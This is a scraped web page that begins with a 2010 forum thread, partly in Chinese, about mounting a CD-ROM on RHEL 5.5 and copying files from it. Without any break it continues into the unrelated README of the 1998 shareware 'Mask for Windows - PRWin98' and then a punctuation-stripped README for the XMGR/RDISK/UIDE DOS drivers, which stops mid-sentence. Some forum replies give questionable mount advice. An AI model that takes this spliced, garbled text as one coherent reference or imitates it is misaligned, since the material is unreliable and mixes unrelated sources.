How to copy files from CD-ROM to hard disk?

电灯泡 2010-12-02 01:29:53
hi all,
My OS is RHEL5.5 with graphics. I just insert music cd into cd drive, I am sure the system has identified the cd, and I have already listened to the music. Curiously, when I enter command "df", the screen just displays /, /boot,/dev/shm without /cdrom. Could you tell me why? How to mount CD-Rom? Personally thinking, for redhat text mode, we need manually mount cd-rom, for redhat graphics mode, we don't need. Am I right for this view?

ps:sorry about above context, I don't have chinese input method.
...全文
223 24 打赏 收藏 转发到动态 举报
写回复
用AI写文章
24 条回复
切换为时间正序
请发表友善的回复…
发表回复
电灯泡 2010-12-07
  • 打赏
  • 举报
回复
[Quote=引用 23 楼 lvqqrainbow 的回复:]

首先输入mount命令看下你的cdrom是否挂载,如果没有,就
mount -o loop /dev/cdrom /mnt
这样应该可以拷贝。
[/Quote]
像光盘的挂载,以前试了一下,不用指定-t iso9660也可以挂载,为什么呢?什么时候要指定-t iso9660
lvqqrainbow 2010-12-06
  • 打赏
  • 举报
回复
首先输入mount命令看下你的cdrom是否挂载,如果没有,就
mount -o loop /dev/cdrom /mnt
这样应该可以拷贝。
电灯泡 2010-12-06
  • 打赏
  • 举报
回复
所以现在,非音乐光盘挂载并copy里面的文件,是可以的。但音乐光盘不行。咋办捏?
电灯泡 2010-12-06
  • 打赏
  • 举报
回复
[Quote=引用 13 楼 steptodream 的回复:]

既然你已经挂载了 看样子你也不知道挂载到哪儿的 那就这样
1.先umount
umount /dev/cdrom

2.再挂载
mount /dev/cdrom /media/

3.光盘已经挂载到/media/下了 去/media/下复制你要的文件到你需要的目录 比如复制到/home/user下
cp /media/some-file /home/user


这下明白了……
[/Quote]
谢谢主席详细的解答。我星期天下午又做了几次,发现了一些问题。如果拿一张一般的光碟(非音乐CD),照你的做法完全没问题,当然我也就不会发帖了。但我一旦插入音乐CD,就会有问题。
[root@kunxu ~]# df
Filesystem 1K-blocks Used Available Use% Mounted on
/dev/mapper/VolGroup00-LogVol00
35613404 3214368 30560752 10% /
/dev/sda7 101054 12579 83258 14% /boot
tmpfs 1011272 0 1011272 0% /dev/shm
当我插入音乐CD后,命令“df”结果表明我还没有载入CD。ok,接下来,开始挂载:

[root@kunxu ~]# mount /dev/cdrom /media/guitarA/
mount: block device /dev/cdrom is write-protected, mounting read-only
mount: /dev/cdrom already mounted or /media/guitarA/ busy
以上是音乐CD的显示结果,命令“df”和/meida/guitarA下面也没有任何结果,遂挂载失败。

如果此时我插入“非音乐CD”,那么不会出现第二条粗体提示,再通过"df"结果显示已经挂载成功。很奇怪,但我注意了一点,一旦插入音乐CD时,一个CD Player的播放器会自动的弹出来,而“非音乐CD”不会。这可能就是两者不一样的原因。
电灯泡 2010-12-06
  • 打赏
  • 举报
回复
[Quote=引用 16 楼 lin648446067 的回复:]

引用 9 楼 xukunddp 的回复:
引用 5 楼 steptodream 的回复:

#mount /dev/cdrom /media
#cp /media/somefile /your-path/


[root@kunxu media]# mount /dev/cdrom /media
mount: block device /dev/cdrom is write-pr……
[/Quote]
刚安装了语言包,可以输入中文了,对,是这个问题造成的busy
steptodream 2010-12-03
  • 打赏
  • 举报
回复
还有16楼说的 你既然要挂到/media下 你自己干嘛也要切换到/media下去?
steptodream 2010-12-03
  • 打赏
  • 举报
回复
[root@kunxu ~]# umount /dev/cdrom
umount: /dev/cdrom: not mounted
----------------
这说明你没有挂载而已 继续执行后续的命令即可。

我那个示范执行了umount /dev/cdrom 是怕/dev/cdrom已经挂载了 所以先卸载
但是如果没有挂载 执行卸载成功与不成功 结果都是/dev/cdrom没是没挂载?
继续进行就得了。

出来问题 自己动动脑子 多尝试。
电灯泡 2010-12-03
  • 打赏
  • 举报
回复
[Quote=引用 13 楼 steptodream 的回复:]

既然你已经挂载了 看样子你也不知道挂载到哪儿的 那就这样
1.先umount
umount /dev/cdrom

2.再挂载
mount /dev/cdrom /media/

3.光盘已经挂载到/media/下了 去/media/下复制你要的文件到你需要的目录 比如复制到/home/user下
cp /media/some-file /home/user


这下明白了……
[/Quote]

I know the mount process, but strange things always happened. When I am listening to the CD music,I enter the command to follow your step 1.

[root@kunxu ~]# umount /dev/cdrom
umount: /dev/cdrom: not mounted

Listening to the cd music that can illustrate I have mounted cd-rom, but when I use "umount /dev/cdrom" command, it shows "not mounted", could you tell me why?
lin648446067 2010-12-02
  • 打赏
  • 举报
回复
[Quote=引用 9 楼 xukunddp 的回复:]
引用 5 楼 steptodream 的回复:

#mount /dev/cdrom /media
#cp /media/somefile /your-path/


[root@kunxu media]# mount /dev/cdrom /media
mount: block device /dev/cdrom is write-protected, mounting read-……
[/Quote]
请你退出media目录,再挂载,你在media目录中,又把光盘挂载到这个目录下,当然显示/media busy
啊!
struggle1 2010-12-02
  • 打赏
  • 举报
回复
oh , no!
please, dont say english
李迟 2010-12-02
  • 打赏
  • 举报
回复
[Quote=引用 7 楼 xukunddp 的回复:]
引用 2 楼 subfate 的回复:

Some linux system can auto mount CD-ROM, but some cannot.

try this cmd:
#mount /dev/cdrom /home/yourhome/path.(in my system, /dev/cdrom)


I've entered the command you ad……
[/Quote]
/home/quinton is you home!

you can mount cdrom to /mnt or other dir.
or just follow zhuxi。
steptodream 2010-12-02
  • 打赏
  • 举报
回复
既然你已经挂载了 看样子你也不知道挂载到哪儿的 那就这样
1.先umount
umount /dev/cdrom

2.再挂载
mount /dev/cdrom /media/

3.光盘已经挂载到/media/下了 去/media/下复制你要的文件到你需要的目录 比如复制到/home/user下
cp /media/some-file /home/user


这下明白了没有 好 我们来示范一遍
[root@rhel6 ~]# umount /dev/cdrom <------先umount
[root@rhel6 ~]# mount /dev/cdrom /media/ <------挂载
mount: block device /dev/sr0 is write-protected, mounting read-only
[root@rhel6 ~]# ls /media/ <--------看看/media/下 看吧 光盘里的文件都在这里吧!
EULA RELEASE-NOTES-es-ES.html RELEASE-NOTES-ru-RU.html
GPL RELEASE-NOTES-fr-FR.html RELEASE-NOTES-si-LK.html
HighAvailability RELEASE-NOTES-gu-IN.html RELEASE-NOTES-ta-IN.html
images RELEASE-NOTES-hi-IN.html RELEASE-NOTES-te-IN.html
isolinux RELEASE-NOTES-it-IT.html RELEASE-NOTES-zh-CN.html
LoadBalancer RELEASE-NOTES-ja-JP.html RELEASE-NOTES-zh-TW.html
media.repo RELEASE-NOTES-kn-IN.html repodata
Packages RELEASE-NOTES-ko-KR.html ResilientStorage
README RELEASE-NOTES-ml-IN.html RPM-GPG-KEY-redhat-beta
RELEASE-NOTES-as-IN.html RELEASE-NOTES-mr-IN.html RPM-GPG-KEY-redhat-release
RELEASE-NOTES-bn-IN.html RELEASE-NOTES-or-IN.html Server
RELEASE-NOTES-de-DE.html RELEASE-NOTES-pa-IN.html TRANS.TBL
RELEASE-NOTES-en-US.html RELEASE-NOTES-pt-BR.html


另外 挂载是只读模式很正常 因为你光驱不一定是可以擦除并刻录的 那光盘也不一定是可以多次读写的
而且你只是把光盘的文件复制出来而已 只读模式又何妨?
steptodream 2010-12-02
  • 打赏
  • 举报
回复
[root@kunxu media]# mount /dev/cdrom /media
mount: block device /dev/cdrom is write-protected, mounting read-only
------------
说明已经被只读方式挂载了
现在已经可以从里面复制文件出来了 你还想怎样?
freetstar 2010-12-02
  • 打赏
  • 举报
回复
[Quote=引用 9 楼 xukunddp 的回复:]

引用 5 楼 steptodream 的回复:

#mount /dev/cdrom /media
#cp /media/somefile /your-path/


[root@kunxu media]# mount /dev/cdrom /media
mount: block device /dev/cdrom is write-protected, mounting rea……
[/Quote]
这不是已经提示你挂载上了,而且是写保护,你可以重新挂载一下
mount -o rw,remount /mnt/cdrom(或者是你之前写的挂载点)
freetstar 2010-12-02
  • 打赏
  • 举报
回复
mount /dev/cdrom /mn/cdrom 即可

电灯泡 2010-12-02
  • 打赏
  • 举报
回复
[Quote=引用 5 楼 steptodream 的回复:]

#mount /dev/cdrom /media
#cp /media/somefile /your-path/
[/Quote]

[root@kunxu media]# mount /dev/cdrom /media
mount: block device /dev/cdrom is write-protected, mounting read-only
mount: /dev/cdrom already mounted or /media busy
电灯泡 2010-12-02
  • 打赏
  • 举报
回复
[Quote=引用 3 楼 hx04072210 的回复:]

frist I'm a linux ABC user ,I use command "df",the screen don't display /cdrom either,but i can mount the cdrom manually,so you should be right.
[/Quote]

Now I find my OS could be mounted automatically,but where is mount point?
电灯泡 2010-12-02
  • 打赏
  • 举报
回复
[Quote=引用 2 楼 subfate 的回复:]

Some linux system can auto mount CD-ROM, but some cannot.

try this cmd:
#mount /dev/cdrom /home/yourhome/path.(in my system, /dev/cdrom)
[/Quote]

I've entered the command you advised,relevant feedback is as follows:
[root@machine ~]# mount /dev/cdrom /home/quinton
mount: block device /dev/cdrom is write-protected, mounting read-only
mount: /dev/cdrom already mounted or /home/quinton busy

From the information above, I can figure out that cd has been automatically mounted. Now that I intend to copy files from cd to my home directory. unfortunately, I can't find the mount point, both /media and /mnt haven't any sub-directories. So how to copy files from cd now?
Laputa_Island 2010-12-02
  • 打赏
  • 举报
回复
这个可以有,这个真没有,LS是的马甲,它已经回答你了,不就是copy个小文件嘛
steptodream 2010-12-02
  • 打赏
  • 举报
回复
#mount /dev/cdrom /media
#cp /media/somefile /your-path/
加载更多回复(4)
------------------------------------ Mask for Windows - PRWin98 v4.00 November 1998 (c) Copyright Peter R. Jupp, 1994-98 ------------------------------------ --------------------- HOW TO VIEW THIS FILE --------------------- To view README.TXT on screen in Windows Notepad, maximize the Notepad window. To print README.TXT, open it in Notepad or another word processor, and choose 'Print' from the File menu. -------- CONTENTS -------- Quick Start ... Overview What's New over PRWin95? System Requirements Technical Support ... Contents of the distribution disk Installation Uninstallation Loading ... Definition of Shareware Why Register Mask? How to Register Mask ... Distribution Quick Start ----------- In Program Manager, choose 'Run' from the File menu and enter 'x:\path\mask.exe' in the Command Line box, where 'x' is your drive, and 'path' is the location of 'mask.exe'. To run automatically when Windows is started: - Change the 'load' setting in your Windows initialization file (WIN.INI) to read 'load=x:\path\mask.exe', where 'x' is your drive, and 'path' is the location of 'mask.exe', or - In Windows 3.1, set up a program item for Mask for Windows - PRWin98 in the StartUp group in Program Manager. When loaded, Mask redraws the desktop and all currently loaded, or selected, Windows applications to display PRWin98 menus and/or windows. To unload Mask: - In an application's main window, display its Control menu and choose 'Unload Mask' from the Mask popup menu, or - Click the right mouse button over the desktop to display the Mask floating popup menu and choose 'Unload Mask', or - In Program Manager, choose 'Run' from the File menu and enter 'x:\path\mask.exe' in the Command Line box, where 'x' is your drive, and 'path' is the location of 'mask.exe'. The attempt to load a second instance of Mask will be interpreted as a command to unload it, or - In Windows 3.1, if a program item for Mask for Windows - PRWin98 has been set up in the StartUp group in Program Manager, double-click its icon. The attempt to load a second instance of Mask will be interpreted as a command to unload it. When unloaded, Mask redraws the desktop and all currently loaded, or selected, Windows applications to remove the displaying of PRWin98 menus and/or windows. Overview -------- Mask for Windows - PRWin98 provides Microsoft(R) Windows(TM) 3.x users with the ability to update the visual appearance of Windows 3.x with that of the more attractive Windows 95/98 3-D styles, including menus, windows and desktop. It carries this out using unique 'Run-time Monitoring and Manipulation Technology' (RMMT) developed over many years, and which has culminated in this highly original product. Mask for Windows - PRWin98 requires no time-consuming installation; it does not make any alterations to Windows' system files; and it can be loaded and unloaded at any time. What's New over PRWin95? ------------------------ Mask for Windows - PRWin98 provides improved support for: Microsoft Office (Word, Excel, PowerPoint, Access, etc) Lotus SmartSuite (Ami Pro, 1-2-3, Freelance, Approach, etc) Norton Anti-Virus Clarion for Windows InfoCourier Microsoft Internet Explorer Netscape Communicator Calmira In the case of Calmira, Mask now uniquely complements this independently produced and ever popular shell by Li-Hsin Huang, of which the following is just a sample of the Windows 95/98 type enhancements Calmira provides to the Windows 3.1 user interface... Taskbar with versatile Start Menu, nested to any level Wastepaper bin to store deleted files and folders Desktop and file based shortcuts to any object or URL Explorer tree that lets you navigate faster through disks An icon based explorer to manage files in free floating windows Support for 4DOS file descriptions in place of long filenames Cut-and-paste file operations ..and a copy of which is now included on the Mask for Windows - PRWin98 distribution disk in the 'CALMIR22.EXE' self-extracting file (or obtainable via our website) for your use on the following terms:- {**************************************************************************} { } { Calmira shell for Microsoft?Windows(TM) 3.1 } { Source Release 2.2 } { Copyright (C) 1997-1998 Li-Hsin Huang } { } { This program is free software; you can redistribute it and/or modify } { it under the terms of the GNU General Public License as published by } { the Free Software Foundation; either version 2 of the License, or } { (at your option) any later version. } { } { This program is distributed in the hope that it will be useful, } { but WITHOUT ANY WARRANTY; without even the implied warranty of } { MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the } { GNU General Public License for more details. } { } { You should have received a copy of the GNU General Public License } { along with this program; if not, write to the Free Software } { Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. } { } {**************************************************************************} --------------------------------------- Mask for Windows - PRWin98 v4.00 (cont) --------------------------------------- System Requirements ------------------- Mask for Windows - PRWin98 runs under Microsoft Windows 3.x. It requires approximately 256Kb of free memory under Windows to run. All distributed files occupy about 0.5Mb of hard disk space. A display resolution of 640x480 (standard VGA) or better is recommended. Mask for Windows - PRWin98 will run on any 80286, 80386, 80486 (SX, DX, DX2), or Pentium(R) based computer that runs Microsoft Windows 3.x in Standard or Enhanced mode. Technical Support ----------------- Technical support for Mask for Windows - PRWin98 can be obtained from the author: P.R. Jupp, 10 Orchard Road, Tenterden, Kent, TN30 6ED, U.K. E-mail: maskinfo@aol.com Web : http://users.aol.com/maskinfo Contents of the distribution disk --------------------------------- The Mask for Windows - PRWin98 distribution disk contains the following files compressed into a single self-extracting archive: MASK.EXE Mask for Windows program file. MASK.INI Mask for Windows initialization file. PRWIN98.DLL PRWin98 module file. PRWIN98.INI PRWin98 configuration file. PRWIN98.HLP Online help for Mask for Windows - PRWin98. PRWIN98.LIC License Agreement for Mask for Windows - PRWin98. TOOLHELP.DLL Windows' tool-helper functions module. README.TXT General information on Mask for Windows - PRWin98. VENDOR.TXT Shareware distributor information & licensing. PRESSREL.WRI Press release. FILE_ID.DIZ ZIP file description in standard BBS format. Note: You are not allowed to distribute the PRWIN98.INI configuration file if it contains registered user details. However, please feel free to distribute the original, unregistered shareware files, free of charge for evaluation purposes, and strictly in accordance with the License Agreement in the PRWIN98.LIC license file. Installation ------------ If the installation is not accomplished by an installation program, simply copy the files from the distribution disk to a separate directory on your hard disk, or to a separate floppy disk. Mask can be run directly from a floppy disk, hard disk, or CD-ROM (except configuration details cannot be written to a CD-ROM). Uninstallation -------------- To uninstall Mask: - In an application's main window, display its Control menu and choose 'Uninstall Mask' from the Mask popup menu, or - Click the right mouse button over the desktop to display the Mask floating popup menu and choose 'Uninstall Mask'. This menu option provides for the combined unloading of Mask and for the deletion of its directory and/or files, which can be carried out at any time. In any event, this operation must be carried out after the 30-day evaluation period has expired if you are still using Mask and you have not registered your copy by then. (For more information about registering your copy, see 'How to Register Mask' in this file). You are first asked to confirm your intentions before Mask: - Deletes its files from its working directory (the directory from where it was loaded). - Deletes the working directory itself (if it is empty after the deletion of the Mask files). - Deletes the redundant 'Mask Licenses' section from your Windows initialization file (WIN.INI). Mask then redraws the desktop and all currently loaded, or selected, Windows applications to remove the displaying of PRWin98 menus and/or windows before finally unloading itself. Note: The loading of Mask can be temporarily prevented, without the need to uninstall, by setting the 'NoPRWin98' entry in the '[General]' section of the PRWIN98.INI configuration file to '1'. Loading ------- (see Quick Start above.) Definition of Shareware ----------------------- Shareware distribution offers users a chance to try software before buying it. If you try a Shareware program and continue to use it after the prescribed evaluation period, you are required to register your copy. Shareware authors are accomplished programmers, just like retail authors, and the programs are of comparable quality (in that there are both good and bad). The main difference is in the method of distribution. In the case of Shareware, the author usually grants the right for the distribution of files to be made free of charge for evaluation purposes (except for a small handling fee that may be charged by commercial distributors). Shareware, therefore, offers you, the prospective purchaser, the facility to 'try before you buy'. In this way, if you don't use the product, you don't have to pay for it! Copyright laws apply to both Shareware and retail software, and the copyright holder retains all rights (in the case of Mask for Windows - PRWin98, these are detailed in the accompanying License Agreement in the PRWIN98.LIC file). Why Register Mask? ------------------ The shareware evaluation copy of Mask for Windows - PRWin98 is reduced in functionality by the restriction in the number of tasks that will display PRWin98 styles in any one Mask session (5 no.). For unrestricted use you must register your copy of Mask. Registration of Mask for Windows - PRWin98 also gives you: - Free technical support. - The latest version of Mask for Windows - PRWin98. - Notification of future upgrades. How to Register Mask -------------------- You may use Mask for Windows - PRWin98 pursuant to the terms detailed in the accompanying License Agreement in the PRWIN98.LIC file on a free, 30-day trial basis. If you wish to obtain a full license, you must register your copy of the software with the author. Registration is ?5.00 (15 pounds sterling) or $25.00 (25 U.S. dollars) and can be done by writing to the address below with your name and address and enclosing a cheque or international money order, whereupon you will be sent a Personal Registration No. to enable full use of the software. Alternatively, carry out the following: 1. Display the Registration Form topic in the online help for Mask for Windows - PRWin98. 2. Print the form by choosing 'Print Topic' from the File menu. 3. Complete the entries on the form to include your name (from which the required Personal Registration No. is formulated) and the address to which confirmation of your registration should be sent. 4. Enclose the required payment. Send all correspondence to: P.R. Jupp, 10 Orchard Road, Tenterden, Kent, TN30 6ED, U.K. Distribution ------------ You are encouraged to pass a copy of the shareware version of Mask for Windows - PRWin98 to your friends for evaluation. If you do, you must provide them with the entire set of Mask for Windows - PRWin98 shareware files supplied on the distribution disk. (For a list of these files, see 'Contents of the distribution disk' in this file). If you intend to charge for distribution, you must adhere to the requirements of the VENDOR.TXT file.
XMGR RDISK and UIDE DOS Device Drivers 1 Description XMGR RDISK and UIDE are a group of DOS device drivers for a PC system with an 80386+ CPU and using MS DOS V5 0+ or equivalent XMGR is a DOS driver which works as an "XMS manager" and provides up to 4 GB of XMS memory XMGR has direct support for V3 70+ UMBPCI by Uwe Sieber After UMBPCI enables upper memory XMGR loads there and will provide both upper and XMS memory to a DOS system XMGR uses an "I O Catcher" with UMBPCI Disk diskette I O above 640K is trapped by XMGR and done using a low memory area as UMBPCI "Shadow RAM" cannot do DMA XMGR also runs with JEMM386 or MS DOS EMM386 With EMM drivers XMGR using its B switch first boots in temporary space When upper memory gets enabled by the EMM driver XMGR loads there with no B copies all its boot data and takes over XMS work For a small XMS only system XMGR can also run entirely in low memory RDISK is a DOS RAM disk driver It creates a "fast" disk drive using 2 Megabytes to 2 GIGABYTES of XMS memory It loads as a system driver in CONFIG SYS or it can load later in AUTOEXEC BAT or by user command DOS can copy critical programs and data to the RAMdisk where they will be read or written at memory speed If loaded after CONFIG SYS RDISK files can be assigned to any free DOS drive letter using its : switch RDISK runs with V2 0 or V3 0 XMS managers 60 MB maximum for V2 0 XMS It uses only 656 to 752 bytes of upper memory depending on the system and it can also load in 640K DOS memory RDISK is a simple and small RAMdisk driver for use when resizing or other features are not needed UIDE is a DOS "Universal IDE" caching driver It intercepts "Int 13h" BIOS I O requests and caches data for up to 30 BIOS disks including A: or B: diskettes and including hard disks of any size UIDE can handle 48 bit LBA or 24 bit CHS I O calls by new or old DOS systems It will handle up to 10 "Legacy" or "Native PCI" IDE controllers UIDE "calls the BIOS" for diskettes and intercepts I O for "Int 13h" drivers loaded first thus UIDE caches ALL drives on a DOS system "ASPI" and other "non Int 13h" drivers are unsupported UIDE also detects and runs up to 8 SATA IDE and old "PIO mode" CD DVD drives It can cache CD DVD data and directories for MUCH greater speed and it will play audio CDs and handle "raw" trackwriter input audio and "raw" input is uncached UIDE caches 5 Megabytes to 4 GIGABYTES of data It can set up to four separate caches of its own "Common" User 1" "User 2" and "CD DVD" and it also permits caching requests from user drivers to "bring along" their OWN caches See the UIDE TXT file for full details UIDE uses 4816 bytes of upper DOS memory for 1 to 4 caches of any size All its data or cache tables use XMS memory A "stand alone" UIDE B switch no cache or diskettes can be used in test or diagnostic work and takes 3664 bytes of upper DOS memory If its N2 switch is given UIDE will omit all CD DVD logic saving 1744 bytes Its "CD DVD" cache can then become a 3rd user driver cache if needed UIDE"s H switch will load most of the driver into "free HMA" thus using only 928 bytes of memory 832 "stand alone" The small UHDD and UDVD2 drivers are also available for those who want only non caching drivers or a smaller size driver set for use on "boot" diskettes etc UHDD can cache 26 SATA IDE disks of any size on up to 10 controllers A: or B: diskettes included It now has all four UIDE caches takes 3280 bytes for caching and it can set a 1408 byte "stand alone" driver no cache with its B switch UHDD can put most of its code in HMA space with its H switch taking only 832 bytes 640 "stand alone" UDVD2 handles up to 6 SATA IDE or old PIO mode CD DVD drives it tests up to 10 controllers on loading and takes 2000 bytes or 144 with its H switch Caching by UHDD adds 96 bytes and UDVD2 "shares" UHDD"s I O buffer in XMS for input unsuited to UltraDMA If UHDD is not used UDVD2 will take 128K of XMS as its buffer or it handles such input in PIO mode if XMS is not available UHDD + UDVD2 require only 10K of disk file space and provide most UIDE features The small RDISKON COM program can "re enable" a DOS drive used by RDISK if a "format" command is accidentally issued to it This disables the drive on some systems Entering RDISKON L at a DOS command prompt where L is the desired drive letter A to Z will re enable the drive The small CC COM "Clear Cache" program can help verify files written by UIDE Entering CC at the DOS command prompt sends a BIOS "reset" to all disks making UIDE flush its "Common" cache Data from the disk NOT data still in cache can then be compared to the original output 2 NO Warranties XMGR RDISK and UIDE are offered at no cost "as is" "use at your own risk" and with NO warranties not even the implied warranty of FITNESS for any particular purpose nor of MERCHANTABILITY Driver questions and comments may be addressed to the E Mail of Johnson Lam <johnsonlam hk@gmail com> 3 Revision Summary 19 Oct 14 UHDD now "overlaps" cache work during UltraDMA disk output and the disk sector "gap" at I O end for greater speed UHDD M switch deleted 256 byte binary search buffer is now permanent Other drivers unchanged re dated only 27 Sep 14 UHDD now sets all 4 UIDE caches New UHDD M switch sets a 512 byte binary search buffer for more speed 26 Jan 14 UIDE error handling CD DVD media changes for "stand alone" mode is fixed UHDD offers "Common" & "CD DVD" caches 12 Jan 14 UIDE UD switch deleted many problems UIDE now offers "User 1" and "User 2" caches "Stand alone" UHDD UDVD2 re added for use as needed 12 Dec 13 UHDD UDVD2 deleted low use UIDE N2 dismisses CD DVD logic UIDE C switch added user caching improved 21 Nov 13 UHDD old style "stand alone" driver re added 14 Nov 13 UHDD UDVD2 "private" caches deleted unneeded and unused 25 Sep 13 BAD error fixed in UDVD2 re: locating UHDD MANY Thanks to Japheth for his tests and exact analysis 9 Sep 13 Possible but unlikely UHDD exit errors corrected UDVD2 UIDE now use all 32 CD DVD LBA bits in caching calls 2 Sep 13 Possible UDVD2 "media change" error fixed UHDD N1 size reduced 26 Aug 13 UHDD now has its "Common" cache and handles "private" user driver caches UDVD2 etc can now set a private cache 28 Jul 13 UHDD UIDE binary search buffer and F switch deleted 30 Apr 13 UHDD UDVD2 can now run without XMS lower speed for tests and FreeDOS "scripts" UDVD2 can now do "raw" input 15 Oct 12 UHDD UIDE again detect A: and B: diskettes from BIOS data NOT from "Int 13h" calls that FAIL with an LS 120 drive 2 Aug 12 UHDD "disk only" caching driver added UDVD2 caches CD DVD data if UHDD is also loaded UIDEJR deleted New UD switch in UDVD2 UIDE for CD DVD directory caching 9 Jul 12 UIDE UIDEJR device select error for master + slave CD DVD units on one IDE channel is corrected Many Thanks to Doug Beneway for finding this error 25 Jun 12 UIDE2 deleted: Not enough added speed complex to use 17 Jun 12 UIDE UIDE2 UIDEJR A switch init of 2 "Old IDE" channels and CD audio "Q" status data corrected Many Thanks to Japheth for his research and audio test program 29 May 12 UIDE and UIDE2 check for diskettes via Int 13h avoid DPTE tests if no PCI BIOS let the BIOS do I O for disks with bad DPTE data all re: VirtualBox BUGS 24 Feb 12 UIDE UIDE2 "64K DMA boundary error" fixed may affect only year 2000 chips or older 16 Oct 11 UIDE M switch deleted search buffer is always 512 bytes UIDE SYS back to 7 5K UIDE S dropped UIDE2 improved 7 Oct 11 All UIDE drivers updated to avoid BIOS "DPTE" ERRORS: Bad DPTE data for USB sticks Many Thanks to Daniel Nice 9 Sep 11 UIDE2 re added UIDE S and UIDE2 handle 6 CD DVD drives 22 Jul 11 UIDE E switch added for DOS emulators VirtualBox etc 20 May 11 UIDE S "short" UIDE added for systems with limited HMA 25 Apr 11 BAD "code mods" init error corrected for UIDE UIDEJR and RDISK XMGR not affected 5 Dec 10 UIDE UIDEJR R15 and R63 switches added to handle old DOS "games" Thanks Guillermo Grana Gomez 28 Nov 10 Minor updates: UIDEJR audio track number error corrected XMGR faster in protected mode Added XMGR and UIDE Z 15 Aug 10 UIDE audio track number error corrected Thanks Nagatoshi Uehara 10 Aug 10 UIDE binary search buffer added Using $ in CD DVD names fixed in UIDE UIDEJR Thanks Japheth 4 Jul 10 README file update XMGR UIDE can use "Native IDE" mode same as "Legacy" "Compatibility" for AHCI mainboards 28 Jun 10 XMGR updated for AHCI see the README sec 7 for details 10 Jun 10 UIDE now ignores "removable HARD disks" size reduced 16 Nov 09 UIDE now caches 4 GIGABYTES of data 6 Oct 09 UIDE and UIDEJR H requests HMA use "at the user"s risk" 2 Sep 09 README file updated FreeDOS users who desire full upper memory must omit UMBPCI and load JEMM386 JEMMEX only 23 Jun 09 RDISK now a COM file RDISK : switch RDISKON program added Corrected UIDE CD DVD handling of VDS errors 9 Jun 09 UIDE UIDEJR N3 switch added for no XMS memory Override of D: name by UIDE$ UIDEJR$ added for no CD DVD drives 15 May 09 Added RDISK 6 May 09 Added UIDEJR 1 May 09 Fixed XMGR "Port 92h" logic error Added XMGR PA and PN switches to control use of "Port 92h" 25 Apr 09 XMGR UIDE license and FreeDOS prohibition deleted drivers and sources are again available to all 4 Switch Options XMGR usually needs only its B switch if "booting" with an EMM driver All XMGR switch options are as follows: B Specifies "boot" mode XMGR loads in temporary memory until upper memory is enabled Without B XMGR loads stand alone in low memory or direct to upper memory with UMBPCI See the CONFIG SYS examples in section 5 Mn Specifies a temporary area for loading XMGR in "boot" mode or for UMBPCI upper memory I O before DOS posts a "workspace" buffer Values are: M1 64K M3 192K M5 320K M7 448K M2 128K M4 256K M6 384K M8 512K Without M M5 is assumed and the 320K area will be used NOTE: DOS systems may NOT load at address 0 and may leave temporary data anywhere in memory Mn helps to find a "safe" area for XMGR to use M is ignored if XMGR loads stand alone Nnn Specifies how many XMS "Handles" can be used by DOS programs The value nn may be 48 80 or 128 If N is omitted 48 "Handles" are used A big system doing much XMS work may need 80 or 128 "Handles" PA Specifies use or non use of PS 2 Port 92h logic to handle the PN system"s "A20" line PA indicates "Always" use Port 92h logic PN indicates "Never" use it and handle "A20" via normal keyboard port logic If P is omitted XMGR "asks the BIOS" if the system has Port 92h logic If not XMGR will use normal "A20" logic NOTE: If "A20" was enabled by DOS before XMGR loads XMGR does not handle it at all Tn Specifies the BIOS requests to use in getting extended memory as follows: T0 No "E820h" nor "E801h" requests T1 Memory list requests only Int 15h AX E820h T2 A dual area request only Int 15h AX E801h T3 "E820h" requests first then an "E801h" request T can usually be omitted causing T3 to be assumed In addition XMGR always uses an old 64 MB request to get T0 memory or if the requests denoted by T1 thru T3 are not successful Users may need to test T1 or T2 separately to see if their BIOS takes them A pre 1994 BIOS may not ignore T1 thru T3 correctly and may require T0 instead For old "QHIMEM" users T4 thru T7 may still be used and work the same as T0 thru T3 W Specifies use of the DOS "workspace" buffer for upper memory I O if loading with UMBPCI If W is omitted or if the DOS system does not have proper workspace logic XMGR sets its own buffer in low memory With PC DOS or EDR DOS W must be omitted Without UMBPCI W is ignored Z See Z for UIDE below RDISK uses only S size and : drive letter switches: Sn Specifies a desired RAM disk size in megabytes of XMS memory Values may be any number from 2 to 2047 S1024 or more creates a 1 to 2 GIGABYTE RAM disk If S is omitted or invalid a 25 MB RAM disk is created by default For old V2 0 XMS managers ROM DOS etc only S2 through S60 may be used See section 5 below for more details :L Specifies the DOS drive letter desired to access RDISK files L may be any available drive letter from A to Z e g :N assigns drive N: to all RDISK files If the drive letter is too high or already in use RDISK will abort and users may need "LASTDRIVE " in CONFIG SYS to set up more drives If RDISK is loaded by CONFIG SYS or if : is omitted the next free drive letter will be used UIDE usually needs only a H switch to use HMA space and a S switch to specify its cache size All UIDE switches are as follows: A Specifies ALTERNATE addressing for "legacy IDE" controllers The first legacy controller uses 01E8h 0168h addresses and a second if present uses 01F0h 0170h addresses A is only for "odd" mainboards with REVERSED addressing for the two legacy IDE controllers Without A the first legacy controller uses 01F0h 0170H and a second uses 01E8h 0168h as is normal for most PC mainboards B Requests a "basic" UltraDMA driver for disks and CDs DVDs no caching or diskette handling This may help for tests or diagnostics The B driver can request 128K of XMS as an UltraDMA I O buffer and it can load in the HMA The N2 switch can be given with B to "dismiss" all CD DVD logic Cnn Sets a separate "CD DVD" cache for higher CD DVD performance Values for nn are the same as for the S switch and permit up to 4 GB caches The "CD DVD" cache can be used by any user driver devices on systems with no SATA or IDE CD DVD drives If C is omitted data for requests addressed to the "CD DVD" cache shall go into UIDE"s "Common" cache D: Specifies the "device name" used by the CD DVD Redirector to access CD DVD drives For example: D:CDROM1 D:SANYO1 etc If D: is not given or the name following a D: is missing invalid UDVD1 is set by default If no CD DVD drives were found UIDE$ overrides any D: name for use with FreeDOS autoloader scripts E Makes the driver call the BIOS for any hard disk I O request E avoids setup trouble on some DOS emulators VirtualBox etc that do not emulate all PC hardware logic E also allows using hard disks on 1994 or older PCs which have no PCI EDD BIOS E still caches disk data unlike N1 that removes ALL disk support If B is given E is ignored NOTE Use of E on protected mode systems JEMM386 etc may run VERY slow Many BIOS programs omit DOS "VDS" support for hard disks and in protected mode they must do "PIO mode" transfers not UltraDMA If E is required a PC should be run in real mode UMBPCI etc whenever possible H Loads most of the driver in "free HMA" space UIDE will use only 928 bytes of upper DOS memory 832 when B is given H must not be used with ROM DOS which has no HMA NOTE MS DOS kernels have ERRORS in posting free HMA space which can give CRASHES Specifying H is "At the user"s risk" No such crashes are noted with other DOS systems also HMA usage by UIDE is under 4K bytes Users should still test a PC system before H is given for any serious tasks with these drivers N1 Requests NO hard disk handling by the driver N2 Requests NO CD 